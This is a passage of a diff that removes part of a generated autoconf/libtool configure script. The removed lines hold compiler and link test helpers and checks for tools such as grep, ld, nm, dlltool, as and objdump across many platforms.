- fi
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; } > conftest.i && {
- test -z "$ac_cxx_preproc_warn_flag$ac_cxx_werror_flag" ||
- test ! -s conftest.err
- }; then :
- ac_retval=0
-else
- $as_echo "$as_me: failed program was:" >&5
-sed 's/^/| /' conftest.$ac_ext >&5
-
- ac_retval=1
-fi
- eval $as_lineno_stack; ${as_lineno_stack:+:} unset as_lineno
- as_fn_set_status $ac_retval
-
-} @%:@ ac_fn_cxx_try_cpp
-
-@%:@ ac_fn_cxx_try_link LINENO
-@%:@ -------------------------
-@%:@ Try to link conftest.@S|@ac_ext, and return whether this succeeded.
-ac_fn_cxx_try_link ()
-{
- as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack
- rm -f conftest.$ac_objext conftest$ac_exeext
- if { { ac_try="$ac_link"
-case "(($ac_try" in
- *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;;
- *) ac_try_echo=$ac_try;;
-esac
-eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\""
-$as_echo "$ac_try_echo"; } >&5
- (eval "$ac_link") 2>conftest.err
- ac_status=$?
- if test -s conftest.err; then
- grep -v '^ *+' conftest.err >conftest.er1
- cat conftest.er1 >&5
- mv -f conftest.er1 conftest.err
- fi
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; } && {
- test -z "$ac_cxx_werror_flag" ||
- test ! -s conftest.err
- } && test -s conftest$ac_exeext && {
- test "$cross_compiling" = yes ||
- test -x conftest$ac_exeext
- }; then :
- ac_retval=0
-else
- $as_echo "$as_me: failed program was:" >&5
-sed 's/^/| /' conftest.$ac_ext >&5
-
- ac_retval=1
-fi
- # Delete the IPA/IPO (Inter Procedural Analysis/Optimization) information
- # created by the PGI compiler (conftest_ipa8_conftest.oo), as it would
- # interfere with the next link command; also delete a directory that is
- # left behind by Apple's compiler. We do this before executing the actions.
- rm -rf conftest.dSYM conftest_ipa8_conftest.oo
- eval $as_lineno_stack; ${as_lineno_stack:+:} unset as_lineno
- as_fn_set_status $ac_retval
-
-} @%:@ ac_fn_cxx_try_link
-
-@%:@ ac_fn_f77_try_compile LINENO
-@%:@ ----------------------------
-@%:@ Try to compile conftest.@S|@ac_ext, and return whether this succeeded.
-ac_fn_f77_try_compile ()
-{
- as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack
- rm -f conftest.$ac_objext
- if { { ac_try="$ac_compile"
-case "(($ac_try" in
- *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;;
- *) ac_try_echo=$ac_try;;
-esac
-eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\""
-$as_echo "$ac_try_echo"; } >&5
- (eval "$ac_compile") 2>conftest.err
- ac_status=$?
- if test -s conftest.err; then
- grep -v '^ *+' conftest.err >conftest.er1
- cat conftest.er1 >&5
- mv -f conftest.er1 conftest.err
- fi
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; } && {
- test -z "$ac_f77_werror_flag" ||
- test ! -s conftest.err
- } && test -s conftest.$ac_objext; then :
- ac_retval=0
-else
- $as_echo "$as_me: failed program was:" >&5
-sed 's/^/| /' conftest.$ac_ext >&5
-
- ac_retval=1
-fi
- eval $as_lineno_stack; ${as_lineno_stack:+:} unset as_lineno
- as_fn_set_status $ac_retval
-
-} @%:@ ac_fn_f77_try_compile
-
-@%:@ ac_fn_f77_try_link LINENO
-@%:@ -------------------------
-@%:@ Try to link conftest.@S|@ac_ext, and return whether this succeeded.
-ac_fn_f77_try_link ()
-{
- as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack
- rm -f conftest.$ac_objext conftest$ac_exeext
- if { { ac_try="$ac_link"
-case "(($ac_try" in
- *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;;
- *) ac_try_echo=$ac_try;;
-esac
-eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\""
-$as_echo "$ac_try_echo"; } >&5
- (eval "$ac_link") 2>conftest.err
- ac_status=$?
- if test -s conftest.err; then
- grep -v '^ *+' conftest.err >conftest.er1
- cat conftest.er1 >&5
- mv -f conftest.er1 conftest.err
- fi
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; } && {
- test -z "$ac_f77_werror_flag" ||
- test ! -s conftest.err
- } && test -s conftest$ac_exeext && {
- test "$cross_compiling" = yes ||
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-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_path_GREP" >&5
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- GREP="$ac_cv_path_GREP"
-
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for egrep" >&5
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- IFS=$as_save_IFS
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-*GNU*)
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-*)
- ac_count=0
- $as_echo_n 0123456789 >"conftest.in"
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- do
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- cp "conftest.in" "conftest.nl"
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- "$ac_path_EGREP" 'EGREP$' < "conftest.nl" >"conftest.out" 2>/dev/null || break
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- # Best one so far, save it but keep looking for a better one
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- ac_path_EGREP_max=$ac_count
- fi
- # 10*(2^10) chars as input seems more than enough
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- done
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-esac
-
- $ac_path_EGREP_found && break 3
- done
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- ac_cv_path_EGREP=$EGREP
-fi
-
- fi
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_path_EGREP" >&5
-$as_echo "$ac_cv_path_EGREP" >&6; }
- EGREP="$ac_cv_path_EGREP"
-
-
-
-@%:@ Check whether --with-gnu-ld was given.
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- with_gnu_ld=no
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-
-ac_prog=ld
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- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for ld used by $CC" >&5
-$as_echo_n "checking for ld used by $CC... " >&6; }
- case $host in
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- # gcc leaves a trailing carriage return which upsets mingw
- ac_prog=`($CC -print-prog-name=ld) 2>&5 | tr -d '\015'` ;;
- *)
- ac_prog=`($CC -print-prog-name=ld) 2>&5` ;;
- esac
- case $ac_prog in
- # Accept absolute paths.
- [\\/]* | ?:[\\/]*)
- re_direlt='/[^/][^/]*/\.\./'
- # Canonicalize the pathname of ld
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- test -z "$LD" && LD="$ac_prog"
- ;;
- "")
- # If it fails, then pretend we aren't using GCC.
- ac_prog=ld
- ;;
- *)
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- with_gnu_ld=unknown
- ;;
- esac
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- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for GNU ld" >&5
-$as_echo_n "checking for GNU ld... " >&6; }
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- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for non-GNU ld" >&5
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- $as_echo_n "(cached) " >&6
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- if test -z "$LD"; then
- lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR
- for ac_dir in $PATH; do
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- lt_cv_path_LD="$ac_dir/$ac_prog"
- # Check to see if the program is GNU ld. I'd rather use --version,
- # but apparently some variants of GNU ld only accept -v.
- # Break only if it was the GNU/non-GNU ld that we prefer.
- case `"$lt_cv_path_LD" -v 2>&1 </dev/null` in
- *GNU* | *'with BFD'*)
- test "$with_gnu_ld" != no && break
- ;;
- *)
- test "$with_gnu_ld" != yes && break
- ;;
- esac
- fi
- done
- IFS="$lt_save_ifs"
-else
- lt_cv_path_LD="$LD" # Let the user override the test with a path.
-fi
-fi
-
-LD="$lt_cv_path_LD"
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-$as_echo "$LD" >&6; }
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- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
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-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if the linker ($LD) is GNU ld" >&5
-$as_echo_n "checking if the linker ($LD) is GNU ld... " >&6; }
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- $as_echo_n "(cached) " >&6
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- # I'd rather use --version here, but apparently some GNU lds only accept -v.
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-*GNU* | *'with BFD'*)
- lt_cv_prog_gnu_ld=yes
- ;;
-*)
- lt_cv_prog_gnu_ld=no
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-esac
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-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_gnu_ld" >&5
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-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $LD option to reload object files" >&5
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- lt_cv_ld_reload_flag='-r'
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-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_ld_reload_flag" >&5
-$as_echo "$lt_cv_ld_reload_flag" >&6; }
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- ;;
-esac
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for BSD-compatible nm" >&5
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-if ${lt_cv_path_NM+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test -n "$NM"; then
- # Let the user override the test.
- lt_cv_path_NM="$NM"
-else
- lt_nm_to_check="${ac_tool_prefix}nm"
- if test -n "$ac_tool_prefix" && test "$build" = "$host"; then
- lt_nm_to_check="$lt_nm_to_check nm"
- fi
- for lt_tmp_nm in $lt_nm_to_check; do
- lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR
- for ac_dir in $PATH /usr/ccs/bin/elf /usr/ccs/bin /usr/ucb /bin; do
- IFS="$lt_save_ifs"
- test -z "$ac_dir" && ac_dir=.
- tmp_nm="$ac_dir/$lt_tmp_nm"
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- # Check to see if the nm accepts a BSD-compat flag.
- # Adding the `sed 1q' prevents false positives on HP-UX, which says:
- # nm: unknown option "B" ignored
- # Tru64's nm complains that /dev/null is an invalid object file
- case `"$tmp_nm" -B /dev/null 2>&1 | sed '1q'` in
- */dev/null* | *'Invalid file or object type'*)
- lt_cv_path_NM="$tmp_nm -B"
- break
- ;;
- *)
- case `"$tmp_nm" -p /dev/null 2>&1 | sed '1q'` in
- */dev/null*)
- lt_cv_path_NM="$tmp_nm -p"
- break
- ;;
- *)
- lt_cv_path_NM=${lt_cv_path_NM="$tmp_nm"} # keep the first match, but
- continue # so that we can try to find one that supports BSD flags
- ;;
- esac
- ;;
- esac
- fi
- done
- IFS="$lt_save_ifs"
- done
- test -z "$lt_cv_path_NM" && lt_cv_path_NM=nm
-fi
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_path_NM" >&5
-$as_echo "$lt_cv_path_NM" >&6; }
-NM="$lt_cv_path_NM"
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether ln -s works" >&5
-$as_echo_n "checking whether ln -s works... " >&6; }
-LN_S=$as_ln_s
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-$as_echo "yes" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no, using $LN_S" >&5
-$as_echo "no, using $LN_S" >&6; }
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-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to recognise dependent libraries" >&5
-$as_echo_n "checking how to recognise dependent libraries... " >&6; }
-if ${lt_cv_deplibs_check_method+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- lt_cv_file_magic_cmd='$MAGIC_CMD'
-lt_cv_file_magic_test_file=
-lt_cv_deplibs_check_method='unknown'
-# Need to set the preceding variable on all platforms that support
-# interlibrary dependencies.
-# 'none' -- dependencies not supported.
-# `unknown' -- same as none, but documents that we really don't know.
-# 'pass_all' -- all dependencies passed with no checks.
-# 'test_compile' -- check by making test program.
-# 'file_magic [[regex]]' -- check by looking for files in library path
-# which responds to the $file_magic_cmd with a given extended regex.
-# If you have `file' or equivalent on your system and you're not sure
-# whether `pass_all' will *always* work, you probably want this one.
-
-case $host_os in
-aix4* | aix5*)
- lt_cv_deplibs_check_method=pass_all
- ;;
-
-beos*)
- lt_cv_deplibs_check_method=pass_all
- ;;
-
-bsdi[45]*)
- lt_cv_deplibs_check_method='file_magic ELF [0-9][0-9]*-bit [ML]SB (shared object|dynamic lib)'
- lt_cv_file_magic_cmd='/usr/bin/file -L'
- lt_cv_file_magic_test_file=/shlib/libc.so
- ;;
-
-cygwin*)
- # func_win32_libid is a shell function defined in ltmain.sh
- lt_cv_deplibs_check_method='file_magic ^x86 archive import|^x86 DLL'
- lt_cv_file_magic_cmd='func_win32_libid'
- ;;
-
-mingw* | pw32*)
- # Base MSYS/MinGW do not provide the 'file' command needed by
- # func_win32_libid shell function, so use a weaker test based on 'objdump'.
- lt_cv_deplibs_check_method='file_magic file format pei*-i386(.*architecture: i386)?'
- lt_cv_file_magic_cmd='$OBJDUMP -f'
- ;;
-
-darwin* | rhapsody*)
- lt_cv_deplibs_check_method=pass_all
- ;;
-
-freebsd* | kfreebsd*-gnu | dragonfly*)
- if echo __ELF__ | $CC -E - | grep __ELF__ > /dev/null; then
- case $host_cpu in
- i*86 )
- # Not sure whether the presence of OpenBSD here was a mistake.
- # Let's accept both of them until this is cleared up.
- lt_cv_deplibs_check_method='file_magic (FreeBSD|OpenBSD|DragonFly)/i[3-9]86 (compact )?demand paged shared library'
- lt_cv_file_magic_cmd=/usr/bin/file
- lt_cv_file_magic_test_file=`echo /usr/lib/libc.so.*`
- ;;
- esac
- else
- lt_cv_deplibs_check_method=pass_all
- fi
- ;;
-
-gnu*)
- lt_cv_deplibs_check_method=pass_all
- ;;
-
-hpux10.20* | hpux11*)
- lt_cv_file_magic_cmd=/usr/bin/file
- case $host_cpu in
- ia64*)
- lt_cv_deplibs_check_method='file_magic (s[0-9][0-9][0-9]|ELF-[0-9][0-9]) shared object file - IA64'
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- ;;
- hppa*64*)
- lt_cv_deplibs_check_method='file_magic (s[0-9][0-9][0-9]|ELF-[0-9][0-9]) shared object file - PA-RISC [0-9].[0-9]'
- lt_cv_file_magic_test_file=/usr/lib/pa20_64/libc.sl
- ;;
- *)
- lt_cv_deplibs_check_method='file_magic (s[0-9][0-9][0-9]|PA-RISC[0-9].[0-9]) shared library'
- lt_cv_file_magic_test_file=/usr/lib/libc.sl
- ;;
- esac
- ;;
-
-interix3*)
- # PIC code is broken on Interix 3.x, that's why |\.a not |_pic\.a here
- lt_cv_deplibs_check_method='match_pattern /lib[^/]+(\.so|\.a)$'
- ;;
-
-irix5* | irix6* | nonstopux*)
- case $LD in
- *-32|*"-32 ") libmagic=32-bit;;
- *-n32|*"-n32 ") libmagic=N32;;
- *-64|*"-64 ") libmagic=64-bit;;
- *) libmagic=never-match;;
- esac
- lt_cv_deplibs_check_method=pass_all
- ;;
-
-# This must be Linux ELF.
-linux*)
- lt_cv_deplibs_check_method=pass_all
- ;;
-
-netbsd*)
- if echo __ELF__ | $CC -E - | grep __ELF__ > /dev/null; then
- lt_cv_deplibs_check_method='match_pattern /lib[^/]+(\.so\.[0-9]+\.[0-9]+|_pic\.a)$'
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- lt_cv_deplibs_check_method='match_pattern /lib[^/]+(\.so|_pic\.a)$'
- fi
- ;;
-
-newos6*)
- lt_cv_deplibs_check_method='file_magic ELF [0-9][0-9]*-bit [ML]SB (executable|dynamic lib)'
- lt_cv_file_magic_cmd=/usr/bin/file
- lt_cv_file_magic_test_file=/usr/lib/libnls.so
- ;;
-
-nto-qnx*)
- lt_cv_deplibs_check_method=unknown
- ;;
-
-openbsd*)
- if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then
- lt_cv_deplibs_check_method='match_pattern /lib[^/]+(\.so\.[0-9]+\.[0-9]+|\.so|_pic\.a)$'
- else
- lt_cv_deplibs_check_method='match_pattern /lib[^/]+(\.so\.[0-9]+\.[0-9]+|_pic\.a)$'
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- ;;
-
-osf3* | osf4* | osf5*)
- lt_cv_deplibs_check_method=pass_all
- ;;
-
-solaris*)
- lt_cv_deplibs_check_method=pass_all
- ;;
-
-sysv4 | sysv4.3*)
- case $host_vendor in
- motorola)
- lt_cv_deplibs_check_method='file_magic ELF [0-9][0-9]*-bit [ML]SB (shared object|dynamic lib) M[0-9][0-9]* Version [0-9]'
- lt_cv_file_magic_test_file=`echo /usr/lib/libc.so*`
- ;;
- ncr)
- lt_cv_deplibs_check_method=pass_all
- ;;
- sequent)
- lt_cv_file_magic_cmd='/bin/file'
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- sni)
- lt_cv_file_magic_cmd='/bin/file'
- lt_cv_deplibs_check_method="file_magic ELF [0-9][0-9]*-bit [LM]SB dynamic lib"
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- siemens)
- lt_cv_deplibs_check_method=pass_all
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- pc)
- lt_cv_deplibs_check_method=pass_all
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- esac
- ;;
-
-sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX* | sysv4*uw2*)
- lt_cv_deplibs_check_method=pass_all
- ;;
-esac
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_deplibs_check_method" >&5
-$as_echo "$lt_cv_deplibs_check_method" >&6; }
-file_magic_cmd=$lt_cv_file_magic_cmd
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-
-
-
-
-# If no C compiler was specified, use CC.
-LTCC=${LTCC-"$CC"}
-
-# If no C compiler flags were specified, use CFLAGS.
-LTCFLAGS=${LTCFLAGS-"$CFLAGS"}
-
-# Allow CC to be a program name with arguments.
-compiler=$CC
-
-
-@%:@ Check whether --enable-libtool-lock was given.
-if test "${enable_libtool_lock+set}" = set; then :
- enableval=$enable_libtool_lock;
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-
-test "x$enable_libtool_lock" != xno && enable_libtool_lock=yes
-
-# Some flags need to be propagated to the compiler or linker for good
-# libtool support.
-case $host in
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- # Find out which ABI we are using.
- echo 'int i;' > conftest.$ac_ext
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- ac_status=$?
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- *ELF-32*)
- HPUX_IA64_MODE="32"
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- *ELF-64*)
- HPUX_IA64_MODE="64"
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- esac
- fi
- rm -rf conftest*
- ;;
-*-*-irix6*)
- # Find out which ABI we are using.
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- ac_status=$?
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- LD="${LD-ld} -melf32bsmip"
- ;;
- *N32*)
- LD="${LD-ld} -melf32bmipn32"
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- *64-bit*)
- LD="${LD-ld} -melf64bmip"
- ;;
- esac
- else
- case `/usr/bin/file conftest.$ac_objext` in
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- LD="${LD-ld} -32"
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- *N32*)
- LD="${LD-ld} -n32"
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- *64-bit*)
- LD="${LD-ld} -64"
- ;;
- esac
- fi
- fi
- rm -rf conftest*
- ;;
-
-x86_64-*linux*|ppc*-*linux*|powerpc*-*linux*|s390*-*linux*|sparc*-*linux*)
- # Find out which ABI we are using.
- echo 'int i;' > conftest.$ac_ext
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5
- (eval $ac_compile) 2>&5
- ac_status=$?
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- case $host in
- x86_64-*linux*)
- LD="${LD-ld} -m elf_i386"
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- ppc64-*linux*|powerpc64-*linux*)
- LD="${LD-ld} -m elf32ppclinux"
- ;;
- s390x-*linux*)
- LD="${LD-ld} -m elf_s390"
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- sparc64-*linux*)
- LD="${LD-ld} -m elf32_sparc"
- ;;
- esac
- ;;
- *64-bit*)
- case $host in
- x86_64-*linux*)
- LD="${LD-ld} -m elf_x86_64"
- ;;
- ppc*-*linux*|powerpc*-*linux*)
- LD="${LD-ld} -m elf64ppc"
- ;;
- s390*-*linux*)
- LD="${LD-ld} -m elf64_s390"
- ;;
- sparc*-*linux*)
- LD="${LD-ld} -m elf64_sparc"
- ;;
- esac
- ;;
- esac
- fi
- rm -rf conftest*
- ;;
-
-*-*-sco3.2v5*)
- # On SCO OpenServer 5, we need -belf to get full-featured binaries.
- SAVE_CFLAGS="$CFLAGS"
- CFLAGS="$CFLAGS -belf"
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the C compiler needs -belf" >&5
-$as_echo_n "checking whether the C compiler needs -belf... " >&6; }
-if ${lt_cv_cc_needs_belf+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_ext=c
-ac_cpp='$CPP $CPPFLAGS'
-ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
-ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
-ac_compiler_gnu=$ac_cv_c_compiler_gnu
-
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-int
-main ()
-{
-
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- lt_cv_cc_needs_belf=yes
-else
- lt_cv_cc_needs_belf=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
- ac_ext=c
-ac_cpp='$CPP $CPPFLAGS'
-ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
-ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
-ac_compiler_gnu=$ac_cv_c_compiler_gnu
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_cc_needs_belf" >&5
-$as_echo "$lt_cv_cc_needs_belf" >&6; }
- if test x"$lt_cv_cc_needs_belf" != x"yes"; then
- # this is probably gcc 2.8.0, egcs 1.0 or newer; no need for -belf
- CFLAGS="$SAVE_CFLAGS"
- fi
- ;;
-sparc*-*solaris*)
- # Find out which ABI we are using.
- echo 'int i;' > conftest.$ac_ext
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5
- (eval $ac_compile) 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
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- case $lt_cv_prog_gnu_ld in
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- *) LD="${LD-ld} -64" ;;
- esac
- ;;
- esac
- fi
- rm -rf conftest*
- ;;
-
-*-*-cygwin* | *-*-mingw* | *-*-pw32*)
- if test -n "$ac_tool_prefix"; then
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-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-$as_echo_n "checking for $ac_word... " >&6; }
-if ${ac_cv_prog_DLLTOOL+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test -n "$DLLTOOL"; then
- ac_cv_prog_DLLTOOL="$DLLTOOL" # Let the user override the test.
-else
-as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-for as_dir in $PATH
-do
- IFS=$as_save_IFS
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
- ac_cv_prog_DLLTOOL="${ac_tool_prefix}dlltool"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-done
- done
-IFS=$as_save_IFS
-
-fi
-fi
-DLLTOOL=$ac_cv_prog_DLLTOOL
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- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $DLLTOOL" >&5
-$as_echo "$DLLTOOL" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-
-
-fi
-if test -z "$ac_cv_prog_DLLTOOL"; then
- ac_ct_DLLTOOL=$DLLTOOL
- # Extract the first word of "dlltool", so it can be a program name with args.
-set dummy dlltool; ac_word=$2
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-$as_echo_n "checking for $ac_word... " >&6; }
-if ${ac_cv_prog_ac_ct_DLLTOOL+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test -n "$ac_ct_DLLTOOL"; then
- ac_cv_prog_ac_ct_DLLTOOL="$ac_ct_DLLTOOL" # Let the user override the test.
-else
-as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-for as_dir in $PATH
-do
- IFS=$as_save_IFS
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
- ac_cv_prog_ac_ct_DLLTOOL="dlltool"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-done
- done
-IFS=$as_save_IFS
-
-fi
-fi
-ac_ct_DLLTOOL=$ac_cv_prog_ac_ct_DLLTOOL
-if test -n "$ac_ct_DLLTOOL"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_DLLTOOL" >&5
-$as_echo "$ac_ct_DLLTOOL" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-
- if test "x$ac_ct_DLLTOOL" = x; then
- DLLTOOL="false"
- else
- case $cross_compiling:$ac_tool_warned in
-yes:)
-{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
-$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
-ac_tool_warned=yes ;;
-esac
- DLLTOOL=$ac_ct_DLLTOOL
- fi
-else
- DLLTOOL="$ac_cv_prog_DLLTOOL"
-fi
-
- if test -n "$ac_tool_prefix"; then
- # Extract the first word of "${ac_tool_prefix}as", so it can be a program name with args.
-set dummy ${ac_tool_prefix}as; ac_word=$2
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-$as_echo_n "checking for $ac_word... " >&6; }
-if ${ac_cv_prog_AS+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test -n "$AS"; then
- ac_cv_prog_AS="$AS" # Let the user override the test.
-else
-as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-for as_dir in $PATH
-do
- IFS=$as_save_IFS
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
- ac_cv_prog_AS="${ac_tool_prefix}as"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-done
- done
-IFS=$as_save_IFS
-
-fi
-fi
-AS=$ac_cv_prog_AS
-if test -n "$AS"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $AS" >&5
-$as_echo "$AS" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-
-
-fi
-if test -z "$ac_cv_prog_AS"; then
- ac_ct_AS=$AS
- # Extract the first word of "as", so it can be a program name with args.
-set dummy as; ac_word=$2
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-$as_echo_n "checking for $ac_word... " >&6; }
-if ${ac_cv_prog_ac_ct_AS+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test -n "$ac_ct_AS"; then
- ac_cv_prog_ac_ct_AS="$ac_ct_AS" # Let the user override the test.
-else
-as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-for as_dir in $PATH
-do
- IFS=$as_save_IFS
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
- ac_cv_prog_ac_ct_AS="as"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-done
- done
-IFS=$as_save_IFS
-
-fi
-fi
-ac_ct_AS=$ac_cv_prog_ac_ct_AS
-if test -n "$ac_ct_AS"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_AS" >&5
-$as_echo "$ac_ct_AS" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-
- if test "x$ac_ct_AS" = x; then
- AS="false"
- else
- case $cross_compiling:$ac_tool_warned in
-yes:)
-{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
-$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
-ac_tool_warned=yes ;;
-esac
- AS=$ac_ct_AS
- fi
-else
- AS="$ac_cv_prog_AS"
-fi
-
- if test -n "$ac_tool_prefix"; then
- # Extract the first word of "${ac_tool_prefix}objdump", so it can be a program name with args.
-set dummy ${ac_tool_prefix}objdump; ac_word=$2
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-$as_echo_n "checking for $ac_word... " >&6; }
-if ${ac_cv_prog_OBJDUMP+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test -n "$OBJDUMP"; then
- ac_cv_prog_OBJDUMP="$OBJDUMP" # Let the user override the test.
-else
-as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-for as_dir in $PATH
-do
- IFS=$as_save_IFS
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
- ac_cv_prog_OBJDUMP="${ac_tool_prefix}objdump"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-done
- done
-IFS=$as_save_IFS
-
-fi
-fi
-OBJDUMP=$ac_cv_prog_OBJDUMP
-if test -n "$OBJDUMP"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $OBJDUMP" >&5
-$as_echo "$OBJDUMP" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-
-
-fi
-if test -z "$ac_cv_prog_OBJDUMP"; then
- ac_ct_OBJDUMP=$OBJDUMP
- # Extract the first word of "objdump", so it can be a program name with args.
-set dummy objdump; ac_word=$2
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-$as_echo_n "checking for $ac_word... " >&6; }
-if ${ac_cv_prog_ac_ct_OBJDUMP+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test -n "$ac_ct_OBJDUMP"; then
- ac_cv_prog_ac_ct_OBJDUMP="$ac_ct_OBJDUMP" # Let the user override the test.
-else
-as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-for as_dir in $PATH
-do
- IFS=$as_save_IFS
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
- ac_cv_prog_ac_ct_OBJDUMP="objdump"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
